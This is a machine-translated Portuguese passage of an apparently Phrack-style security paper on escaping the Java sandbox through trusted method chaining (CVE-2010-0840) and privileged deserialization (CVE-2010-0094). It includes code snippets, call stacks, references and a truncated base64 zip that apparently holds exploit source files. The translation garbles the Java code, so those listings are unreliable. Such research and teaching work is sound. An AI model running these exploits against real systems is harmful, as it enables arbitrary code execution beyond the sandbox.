————————————————– ————————-
Entrada da interface <K, V> {
[…]
/ **
* Retorna o valor correspondente a esta entrada. Se o mapeamento
* foi removido do mapa de suporte (pelo iterador
* <tt> remove </tt>), os resultados desta chamada são
* Indefinido.
*
* @retorna o valor correspondente a esta entrada
* As implementações @throws IllegalStateException podem, mas não são
* necessário, lance esta exceção se a entrada tiver sido
* removido do mapa de apoio.
* /
V getValue ();
[…]
————————————————– ————————-

Essa interface possui o método getValue (). Acontece que o
A classe _Expression_ também possui um método getValue () com a mesma assinatura.
É por isso que, em tempo de execução, chamando Entry.getValue () em um objeto do tipo
_Link_, falsificando a implementação de _Entry_, pode ter sucesso.

————————————————– ————————-
// no AbstractMap
public String toString () {
Iterador <Entrada <K, V >> i = entrySet (). Iterator ();
if (! i.hasNext ())
Retorna “{}”;

StringBuilder sb = novo StringBuilder ();
sb.append (‘{‘);
para (;;) {
Entrada <K, V> e = i.next ();
Tecla K = e.getKey ();
Valor V = e.getValue ();
sb.append (key == this? “(this Map)”: key);
sb.append (‘=’);
sb.append (value == this? “(this Map)”: value);
if (! i.hasNext ())
retornar sb.append (‘}’). toString ();
sb.append (‘,’). append (”);
}
}
————————————————– ————————-

O analista pretende chamar o método AbstractMap.toString () para chamar
Entry.getValue () no objeto _Link_ que chama o método invoke ():

————————————————– ————————-
O objeto público getValue () lança a exceção {
if (value == unbound) {
setValue (invoke ());
}
valor de retorno;
}
————————————————– ————————-

O método invoke executa o método de destino do analista
System.setSecurityManapger (null) via reflexão para desativar a segurança
Gerente. A pilha de chamadas quando esse método é chamado por meio de reflexão
se parece com isso:

————————————————– ————————-
em java.beans.Statement.invoke (Statement.java:235)
em java.beans.Expression.getValue (Expression.java:98)
em java.util.AbstractMap.toString (AbstractMap.java:487)
em javax.swing.DefaultListCellRenderer.getListCellRendererComponent
(DefaultListCellRenderer.java:125)
em javax.swing.plaf.basic.BasicListUI.updateLayoutState
(BasicListUI.java:1337)
em javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState
(BasicListUI.java:1287)
em javax.swing.plaf.basic.BasicListUI.paintImpl (BasicListUI.java:251)
em javax.swing.plaf.basic.BasicListUI.paint (BasicListUI.java:227)
em javax.swing.plaf.ComponentUI.update (ComponentUI.java:143)
em javax.swing.JComponent.paintComponent (JComponent.java:758)
em javax.swing.JComponent.paint (JComponent.java:1022)
em javax.swing.JComponent.paintChildren (JComponent.java:859)
em javax.swing.JComponent.paint (JComponent.java:1031)
em javax.swing.JComponent.paintChildren (JComponent.java:859)
em javax.swing.JComponent.paint (JComponent.java:1031)
em javax.swing.JLayeredPane.paint (JLayeredPane.java:564)
em javax.swing.JComponent.paintChildren (JComponent.java:859)
em javax.swing.JComponent.paint (JComponent.java:1031)
em javax.swing.JComponent.paintToOffscreen (JComponent.java:5104)
em javax.swing.BufferStrategyPaintManager.paint
(BufferStrategyPaintManager.java:285)
em javax.swing.RepaintManager.paint (RepaintManager.java:1128)
em javax.swing.JComponent._paintImmedately (JComponent.java:5052)
em javax.swing.JComponent.paintImmedately (JComponent.java:4862)
em javax.swing.RepaintManager.paintDirtyRegions
(RepaintManager.java:723)
em javax.swing.RepaintManager.paintDirtyRegions
(RepaintManager.java:679)
em javax.swing.RepaintManager.seqPaintDirtyRegions
(RepaintManager.java:659)
em javax.swing.SystemEventQueueUtilities $ ComponentWorkRequest.run
(SystemEventQueueUtilities.java:128)
em java.awt.event.InvocationEvent.dispatch (InvocationEvent.java:209)
em java.awt.EventQueue.dispatchEvent (EventQueue.java:597)
em java.awt.EventDispatchThread.pumpOneEventForFilters
(EventDispatchThread.java:273)
em java.awt.EventDispatchThread.pumpEventsForFilter
(EventDispatchThread.java:183)
em java.awt.EventDispatchThread.pumpEventsForHierarchy
(EventDispatchThread.java:173)
em java.awt.EventDispatchThread.pumpEvents
(EventDispatchThread.java:168)
em java.awt.EventDispatchThread.pumpEvents
(EventDispatchThread.java:160)
em java.awt.EventDispatchThread.run (EventDispatchThread.java:121)
————————————————– ————————-

A primeira observação é que não há classe não confiável na chamada
pilha. Qualquer verificação de segurança realizada nos elementos da pilha de chamadas será
passar.

Como visto na pilha de chamadas acima, a operação de pintura
(RepaintManager.java:1128) acaba chamando o
Método getListCellRendererComponent () (DefaultListCellRenderer.java:125).
O construtor _JList_ usa como parâmetro uma lista dos elementos do item.
Este método, por sua vez, chama o método toString () nos itens. O primeiro
O elemento sendo um _Map_ chama getValue () em todos os seus itens. O método
getValue () chama Statement.invoke () que chama o método de destino do analista
via reflexão.

—— [4.3.3 – Discussão

Esta vulnerabilidade foi corrigida modificando o Statement.invoke ()
para executar a chamada reflexiva no _AccessControlContext_ do diretório
código que criou o _Statement_. Essa exploração não funciona em recentes
versão do JRE porque o código não confiável que cria o _Statement_
não tem nenhuma permissão.

—- [4.4 – Serialização

—— [4.4.1 – Histórico

Java permite transformar objetos em tempo de execução em fluxos de bytes, o que é
útil para persistência e comunicação de rede. Convertendo um objeto
em uma sequência de bytes é chamada serialização, e o processo inverso de
converter um fluxo de bytes em um objeto é chamado desserialização,
adequadamente. Pode acontecer que parte do processo de desserialização esteja concluída
em um contexto privilegiado. Um analista pode aproveitar isso instanciando
objetos que ele normalmente não poderiam instanciar devido à falta de
permissões. Um exemplo típico é a classe _java.lang.ClassLoader_. A
analista (sempre no contexto de não ter permissão) não pode diretamente
instanciar uma subclasse _S_ de _ClassLoader_ porque o construtor de
_ClassLoader_ verifica se o chamador tem permissão CREATE_CLASSLOADER.
No entanto, se ele encontrar uma maneira de desserializar uma versão serializada de _S_ em um
contexto privilegiado, ele pode acabar tendo uma instância de _S_. Observe que o
versão serializada de _S_ pode ser criada pelo analista fora do escopo
de um ataque (por exemplo, em sua própria máquina com uma JVM sem sandbox). Durante
o ataque, a versão serializada são apenas dados que representam uma instância de
_S_. Nesta seção, mostramos como explorar o CVE-2010-0094 para fazer uso de
código do sistema que desserializa os dados fornecidos pelo analista em um local privilegiado
contexto. Isso pode ser usado para executar código arbitrário e, assim, ignorar todos
restrições de sandbox.

—— [4.4.2 – Exemplo: CVE-2010-0094

A vulnerabilidade CVE-2010-0094 [35] está no método
RMIConnectionImpl.createMBean (String, ObjectName, ObjectName,
MarshalledObject, String [], Assunto). O quarto argumento do tipo
_MarshalledObject_ contém uma representação em bytes de um objeto _S_ que é
desserializado em um contexto privilegiado (dentro de uma chamada para doPrivileged () com
todas as permissões). O analista pode passar um objeto arbitrário para createMBean ()
para desserialização. No nosso caso, ele passa uma subclasse de
_java.lang.ClassLoader_:

————————————————– ————————-
a classe pública S estende o ClassLoader implementa Serializable {
}
————————————————– ————————-

Em uma versão vulnerável da JVM (1.6.0_17 por exemplo), a pilha de chamadas
quando o objeto _S_ é instanciado, é o seguinte:

————————————————– ————————-
1: Thread [main] (Suspenso (ponto de interrupção na linha 226 no ClassLoader))
2: S (ClassLoader). <init> () linha: 226 [variáveis ​​locais
indisponível]
4: GeneratedSerializationConstructorAccessor1.newInstance (Object [])
linha: não disponível
6: Linha do construtor <T> .newInstance (Object …): 513
7: Linha ObjectStreamClass.newInstance (): 924
8: MarshalledObject $ MarshalledObjectInputStream
(ObjectInputStream) .readOrdinaryObject (boolean) linha: 1737
10: MarshalledObject $ MarshalledObjectInputStream
(ObjectInputStream) .readObject0 (booleano) linha: 1329
12: MarshalledObject $ MarshalledObjectInputStream
(ObjectInputStream) .readObject () linha: 351
14: MarshalledObject <T> .get () linha: 142
15: RMIConnectionImpl $ 6.run () linha: 1513
16: AccessController.doPrivileged (PrivilegedExceptionAction <T>)
linha: não disponível [método nativo]
18: RMIConnectionImpl.unwrap (MarshalledObject, ClassLoader,
Classe <T>) linha: 1505
20: RMIConnectionImpl.access $ 500 (MarshalledObject, ClassLoader,
Classe) linha: 72
22: RMIConnectionImpl $ 7.run () linha: 1548
23: AccessController.doPrivileged (PrivilegedExceptionAction <T>)
linha: não disponível [método nativo]
25: RMIConnectionImpl.unwrap (MarshalledObject, ClassLoader,
ClassLoader, Class <T>) linha: 1544
27: RMIConnectionImpl.createMBean (String, ObjectName, ObjectName,
MarshalledObject, String [], Subject) linha: 376
29: Linha Exploit.exploit (): 79
30: Linha Exploit (BypassExploit) .run_exploit (): 24
31: Linha ExploitBase.run (ExploitBase): 20
32: Linha Exploit.main (String []): 19
————————————————– ————————-

Observamos que a desserialização ocorre dentro de um contexto privilegiado
(em um doPrivileged () na linha 16 e na linha 23). Observe que é o
construtor da classe _ClassLoader_ (<init> (), código confiável) que está em
a pilha e não o construtor de _S_ (a classe de analista, não confiável
código). Observe que na linha 2 “S (ClassLoader)” significa que _ClassLoader_ está ativado
a pilha, não _S_. Se _S_ estivesse na pilha, a permissão
o check-in no construtor _ClassLoader_ teria lançado uma segurança
exceção, pois o código não confiável (portanto, sem a permissão) está no
pilha. Por que então _S_ não está na pilha de chamadas? A resposta é dada pelo
documentação do protocolo de serialização [34]. Diz que o
construtor que é chamado é o primeiro construtor da hierarquia de classes
não implementando a interface _Serializable_. No nosso exemplo _S_
implementa _Serializable_ para que seu construtor não seja chamado. _S_ estende
_ClassLoader_ que não implementa _Serializable_. Assim, o vazio
O construtor de _ClassLoader_ é chamado pelo código do sistema de desserialização.
Como conseqüência, o rastreamento de pilha contém apenas classes de sistema confiáveis ​​em
a pilha dentro do contexto privilegiado (pode haver código não confiável após
doPrivileged (), pois uma verificação de permissão será interrompida no doPrivileged ()
método ao verificar a pilha de chamadas). A verificação de permissão no
_ClassLoader_ terá êxito.

No entanto, posteriormente no código do sistema, esta instância de _S_ é convertida em um tipo
que não é nem _S_, nem _ClassLoader_. Então, como o analista pode recuperar
esta instância? Uma solução é adicionar um campo estático a _S_, bem como um
para a classe _S_ para salvar a referência da instância de _S_ no diretório
campo estático:

————————————————– ————————-
a classe pública S estende o ClassLoader implementa Serializable {
estático público S myCL = nulo;
private void readObject (java.io.ObjectInputStream in)
joga Throwable {
S.myCL = isso;
}
}
————————————————– ————————-

O método readObject () é um método especial chamado durante a desserialização
(por readOrdinaryObject () na linha 8 na pilha de chamadas acima). Sem permissão
A verificação é feita neste momento, portanto, o código não confiável (método S.readObject ()) pode
estar na pilha de chamadas.

O analista agora tem acesso a uma instância de _S_. Como _S_ é uma subclasse
de _ClassLoader_, o analista pode definir uma nova classe com todos os privilégios
e desabilite o gerenciador de segurança (abordagem semelhante à da Seção 3.1.1). At
Nesse ponto, a sandbox está desativada e o analista pode executar arbitrariamente
código.

Esta vulnerabilidade afeta 14 versões do Java 1.6 (da versão 1.6.0_01
para 1.6.0_18). Foi corrigido na versão 1.6.0_24.

A combinação dos seguintes “recursos” permite que o analista ignore
sandbox: (1) código confiável permite desserialização de dados controlados por
código não confiável, (2) a desserialização está ocorrendo em um ambiente privilegiado
(3) a criação de um objeto por meio de desserialização segue um
procedimento diferente da instanciação regular do objeto.

A vulnerabilidade CVE-2010-0094 foi corrigida na atualização do Java 1.6.0 24.
duas chamadas para doPrivileged () foram removidas do código. No remendado
versão, quando _ClassLoader_ é inicializado, a verificação de permissão falha
já que toda a pilha de chamadas está marcada agora (veja a nova pilha de chamadas abaixo).
Código não confiável nas linhas 21 e abaixo não tem permissão
CREATE_CLASSLOADER.

————————————————– ————————-
1: Thread [main] (Suspenso (ponto de interrupção na linha 226 no ClassLoader))
2: MyClassLoader (ClassLoader). <init> () linha: 226 [variáveis ​​locais
indisponível]
4: GeneratedSerializationConstructorAccessor1.newInstance (Object [])
linha: não disponível
6: Linha do construtor <T> .newInstance (Object …): 513
7: Linha ObjectStreamClass.newInstance (): 924
8: MarshalledObject $ MarshalledObjectInputStream
(ObjectInputStream) .readOrdinaryObject (boolean) linha: 1736
10: MarshalledObject $ MarshalledObjectInputStream (ObjectInputStream)
Linha .readObject0 (booleana): 1328
12: MarshalledObject $ MarshalledObjectInputStream (ObjectInputStream)
Linha .readObject (): 350
14: MarshalledObject <T> .get () linha: 142
15: RMIConnectionImpl.unwrap (MarshalledObject, ClassLoader,
Classe <T>) linha: 1523
17: RMIConnectionImpl.unwrap (MarshalledObject, ClassLoader,
ClassLoader, classe <T>) linha: 1559
19: RMIConnectionImpl.createMBean (String, ObjectName, ObjectName,
MarshalledObject, String [], Subject) linha: 376
21: Linha Exploit.exploit (): 79
22: Linha Exploit (BypassExploit) .run_exploit (): 24
23: linha ExploitBase.run (ExploitBase): 20
24: Linha Exploit.main (String []): 19
————————————————– ————————-

—— [4.4.3 – Discussão

Esta vulnerabilidade mostra que as especificidades do protocolo de serialização
(apenas um construtor específico é chamado) pode ser explorado junto com
código de sistema vulnerável que desserializa dados controlados por analistas em um
contexto privilegiado para ignorar a sandbox e executar código arbitrário. Enquanto o
o protocolo de serialização não pode ser facilmente modificado para compatibilidade com versões anteriores
Por motivos, o código vulnerável foi corrigido.

–[ 5. Conclusão

Neste artigo, focamos no complexo modelo de segurança da plataforma Java,
que foi atacado por aproximadamente duas décadas. Mostramos que o
A plataforma compreende componentes nativos (como a máquina virtual Java), como
bem como um grande corpo de classes de sistema Java (a JCL), e que existe
houve uma ampla gama de ataques diferentes em ambas as partes do sistema. este
inclui ataques de baixo nível, como vulnerabilidades de corrupção de memória no
por um lado, mas também ataques em nível de Java à imposição de políticas, como
ataques de encadeamento de método confiável, por exemplo. Isso destaca o quão difícil
uma tarefa é proteger a plataforma para uso prático.

Apresentamos este artigo como um estudo de caso para ilustrar como um complexo
sistema como a plataforma Java falha ao conter com segurança a execução
de código potencialmente malicioso. Felizmente, esta visão geral do Java passado
explorações fornece insights que nos ajudam a projetar sistemas mais robustos no
futuro.

– [6 – Referências

[1] Aleph One. “Quebrando a pilha por diversão e lucro.” Phrack 49 1996

[2] Oracle. “A história da tecnologia Java”.
http://www.oracle.com/technetwork/java/javase/overview/javahistory-index-19
8355.html, 2018

[3] Desenhou Dean, Edward W. Felten, Dan S. Wallach. “Segurança Java: De
HotJava para Netscape e além. “Em Segurança e Privacidade, IEEE, 1996

[4] Joshua J. Drake. “Explorando vulnerabilidades de corrupção de memória no
tempo de execução java. “2011

[5] Esteban Guillardoy. “Análise do Java 0day (CVE-2012-4681).”
https://immunityproducts.blogspot.com/2012/08/java-0day-analysis-cve-2012-4
681.html, 2012

[6] Jeong Wook Oh. “Tendências recentes de exploração de Java e malware”.
Apresentação no Black Hat Las Vegas, 2012

[7] Explorações de segurança. “Oracle CVE ID Mapping SE – 2012 – 01, Segurança
vulnerabilidades no Java SE. “2012

[8] Brian Gorenc, Jasiel Spelman. “Java todos os dias explorando software
em 3 bilhões de dispositivos. “Em Procedimentos de segurança BlackHat
conferência, 2013

[9] Xiao Lee e Sen Nie. “Explorando a vulnerabilidade do JRE – JRE: análise e
Caça. “Hitcon, 2013

[10] Matthias Kaiser. “Técnicas recentes de exploração de Java.” HackPra, 2013

[11] Google,
https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html. “O
Contagem regressiva final para NPAPI. “2014

[12] Mozilla,

NPAPI Plugins in Firefox


/. “Plugins NPAPI no Firefox.” 2015

[13] Alexandre Bartel, Jacques Klein, Yves Le Traon. “Explorando
CVE-2017-3272. “No MISC (Multi-System & Internet Security Cookbook), maio
2018

[14] Red Hat. “CVE-2017-3272 OpenJDK: acesso insuficiente ao campo protegido
verifica nos atualizadores de campo atômico (Bibliotecas, 8165344). “Bugzilla – Bug
1413554 https://bugzilla.redhat.com/show_bug.cgi?id=1413554 2017

[15] Norman Maurer. “Classes simultâneas menos conhecidas –
Atomic * FieldUpdater “. Em
http://normanmaurer.me/blog/2013/10/28/Lesser-known-concurrent-classes-Part
-1 /

[16] Jeroen Frijters. “Vulnerabilidade de HotSpot em matriz de cópias corrigida em 7u55
(CVE-2014-0456). “No blog do IKVM.NET, 2014

[17] NIST. “CVE-2016-3587.” https://nvd.nist.gov/vuln/detail/CVE-2016-3587

[18] Vincent Lee. “Quando o Java jogar um limão para você, faça o Limenade: Sandbox
escapar por tipo de confusão. ”
https://www.zerodayinitiative.com/blog/2018/4/25/when-java-throws-you-a-lem
on-make-limenade-sandbox-escape-by-type-confusão

[19] Red Hat. “CVE-2015-4843 OpenJDK: java.nio Buffers overflow de número inteiro
edições (Bibliotecas, 8130891). “Bugzilla – Bug 1273053
https://bugzilla.redhat.com/show_bug.cgi?id=1273053, 2015

[20] Alexandre Bartel. “Explorando CVE-2015-4843.” Em vários sistemas e
Internet Security Cookbook (MISC), janeiro de 2018

[21] Oracle. “A especificação da máquina virtual Java, Java SE 7 Edition:
4.10.2.4 Métodos de inicialização de instância e objetos recém-criados “.
http://docs.oracle.com/javase/specs/jvms/se7/html/
jvms-4.html # jvms-4.10.2.4, 2013

[22] Base de dados nacional de vulnerabilidades. “Resumo da vulnerabilidade para
cve-2017-3289. “https://nvd.nist.gov/vuln/detail/CVE-2017-3289

[23] Redhat. “Bug 1413562 – (cve-2017-3289) cve-2017-3289 openjdk: inseguro
construção de classe (hotspot, 8167104). “https://bugzilla.redhat.com/show
bug.cgi? id = 1413562.

[24] OpenJDK. “Openjdk changeset 8202: 02a3d0dcbedd jdk8u121-b08 8167104:
Refinamentos de construção de classe adicionais. ”
http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/rev/02a3d0dcbedd.

[25] Oracle. “A especificação da máquina virtual java, java se 7 edition:
4.7.4 o atributo stackmaptable “.
http://docs.oracle.com/javase/specs/jvms/se7/html/ jvms-4.html # jvms-4.7.4,
2013

[26] “Pedido (s) de revisão: 7020118.”
http://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2011-February/00
1866.html

[27] Philipp Holzinger, Stephan Triller, Alexandre Bartel e Eric Bodden.
“Um estudo aprofundado de mais de dez anos de exploração de java.” No
Anais da 23ª Conferência ACM de Informática e Comunicações

[28] Eric Bruneton. “ASM, uma biblioteca de engenharia de bytes Java.”
http://download.forge.objectweb.org/asm/asm-guide.pdf

[29] LSD Research Group et al .. “Segurança de máquinas virtuais Java e Java,
vulnerabilidades e suas técnicas de exploração “. Em Black Hat Briefings,
2002

[30] Drew Dean, Edward W Felten e Dan S. Wallach. “Segurança Java: De
hotjava para netscape e além. “Em Procedimentos, IEEE Symposium on Security
e Privacidade, 1996, páginas 190-200

[31] Cristina Cifuentes, Nathan Keynes, John Gough, Diane Corney, Lin Gao,
Manuel Valdiviezo e Andrew Gross. “Traduzindo java para llvm ir para
detectar vulnerabilidades de segurança. “Na Reunião de desenvolvedores do LLVM, 2014

[32] Sami Koivu. “Encadeamento de método confiável Java (CVE-2010-0840 / ZDI-10-056).”

[33] Oracle. “JList”.
https://docs.oracle.com/javase/7/docs/api/javax/swing/JList.html

[34] Oracle. “Interface serializável.”
https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html

[35] Sami Koivu, Matthias Kaiser. “CVE-2010-0094.”
https://github.com/rapid7/metasploit-framework/tree/master/external/source/
exploits / CVE-2010-0094

– [7 – Anexos

>>>base64-begin code.zip
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
